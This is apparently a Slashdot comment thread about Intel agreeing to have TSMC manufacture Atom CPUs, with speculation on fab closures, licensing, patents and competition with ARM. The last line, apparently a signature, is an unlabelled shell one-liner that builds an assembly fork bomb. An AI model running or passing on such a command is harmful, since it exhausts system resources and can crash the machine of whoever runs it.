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Intel Recruits TSMC To Produce Atom CPUs
arcticstoat writes "Intel has surprised the industry by announcing a memorandum of understanding (MOU) with Taiwanese silicon chip maker TSMC to manufacture Atom CPUs. Although TSMC is already employed by AMD, Nvidia and VIA to make chips, it's not often you see Intel requiring the services of a third fabrication party. Under the MOU, Intel agrees to port its Atom CPU technology to TSMC, which includes Intel's processes, intellectual properties, libraries and design flows relating to the processor. This will effectively allow other customers of TSMC to easily build Atom-based products similarly to how they might use an ARM processor in their own designs. However, Intel says that it will still pick the specific market segments and products that TSMC will go after, which will include system-on-chip products, as well as netbooks, nettops and embedded platforms."
Disclaimer: I work for Intel, but I'm not involved in manufacturing, so I only know what the public knows.
From what I understand, pretty much every employee at the fabs being closed are being offered jobs at other fabs, and pretty much the only way that anyone's losing their job is if they can't move, or refuse to do so.
Unless I'm mistaken, the closing of the fabs is merely a consolidation of resources, as well as an elimination of older process technologies, without a reduction in workforce.
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Actually, Intel spread the layoffs around, closing two test/assembly fabs in the Phillippines and Malaysia as well as a fab in Oregon and one in Santa Clara. All of these fabs were running 200mm wafers at older tech nodes (120nm and up, I believe).
These closings would likely have come along in the due course of time, but the economy hastened things a bit. As to moving the fabrication of Atoms over to TSMC, it's a pretty logical move. Atom is a low-margin part, so Intel probably doesn't want to clog up its most advanced fabs with Atom wafer starts, when it can ride out the recession and hope for a resurgence in demand for high-performance, high-margin parts.
That said, it's quite interesting that Intel is contracting with TSMC, because Intel's real market advantage has always been its fabrication prowess. I'm sure there are about a thousand pages of legalese restricting TSMC's rights to the high-k process (or any other tricks Intel has up their sleeve)
Remember how IBMs PC-BIOS was reverse engineered and there wasn't anything IBM could do about it because the reverse engineering was done legitimately?
http://en.wikipedia.org/wiki/Reverse_engineering#Binary_software
If Intel licenses its 32nm manufacturing process to TSMC it will make it harder for TSMC to create a new 32nm for creating chips for other manufacturers. Intel could claim TSMC used information given to them under a license agreement. It will be hard for TSMC to claim any new 32nm process wasn't created using information covered under that license.
Intel does not need any fabbing capacity. What they do like is to mess with AMD partners.
Let the games begin.
I think they're just buying up the competition's workspace. After all TMSC is going to KNOW the check from Intel will cash, no matter what... and like Apple buying up Samsung flash ram, this makes prices higher for everybody else...and gives Intel CONTROL over one of the few companies that could make VIA's nano or Nvidia's ION. It's also, lower cost, older process equipment closer to China where they want these chips to be sold.
I think you're also looking at the patent front, that Intel will fill the place up with their patented processes and TMSC won't be able to fill orders for VIA/AMD/Nvidia without stepping on some Intel patents.. or have to run those jobs in the backroom on old, unproductive, equipment.
This is Intel saying they MIGHT outsource some manufacturing to TSMC for the Atom SOC applications. Intel has their own pretty substantial fab facilities. However, they're out on this netbook limb now. If it takes off, they're going to need extra manufacturing to meet demand. If it doesn't take off, they don't want to have a lot of capital tied up in extra fab facilities.
I'm not a big Intel fan, but this is a fairly astute move on their part and buys them some flexibility in the medium-term depending on where netbook sales go.
Best,
Taiwan != China. Actually TSMC has been making chipsets for the Atom for some time, so I'm told. The Atom itself was made by Intel, on its latest process. TSMC lags behing Intel in process technology, but apparently that no longer matters for Atom. As anantech put it
http://www.anandtech.com/cpuchipsets/intel/showdoc.aspx?i=3522&p=2
The other thing to keep in mind is that Moorestown, the first Atom SoC, will be built at 45nm while the first 32nm CPUs are shipping from Intel. Another way of putting it is that Atom processors don't appear to need the latest manufacturing process, just one that's mature and good enough. TSMC is transitioning to 40nm now, so Atom SoCs that are made there won't really be that far behind those made at Intel, if at all.
Actually if you read the rest of the article, there's a deeper reason for this. Historically chips for something like a cellphone take an ARM core and some custom peripherals, integrate them onto a chip and then fab them at somewhere like TSMC. Intel has never done this - they selll chips not IP. In fact one of the reasons the XBox360 moved to PPC was because Intel would not license their core as IP to be integrated into an ASIC. Intel Atoms on a TSMC process would be cheaper, but the real benefit would be (as Anandtech put it)
The Lincroft and Langwell blocks are done by Intel. The PMIC and Evans Peak blocks are partly Intel and partly 3rd party IP that are intermixed. Evans Peak in particular looks like it's going to be home to all sorts of IP depending on the application. A smart phone Atom SoC design might integrate a 3G modem here, while an iPod would opt for something else.
This makes sense if Atom is supposed to be competing with ARM. Maybe in the future they will sell Atoms as a hard macro like Arm do.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;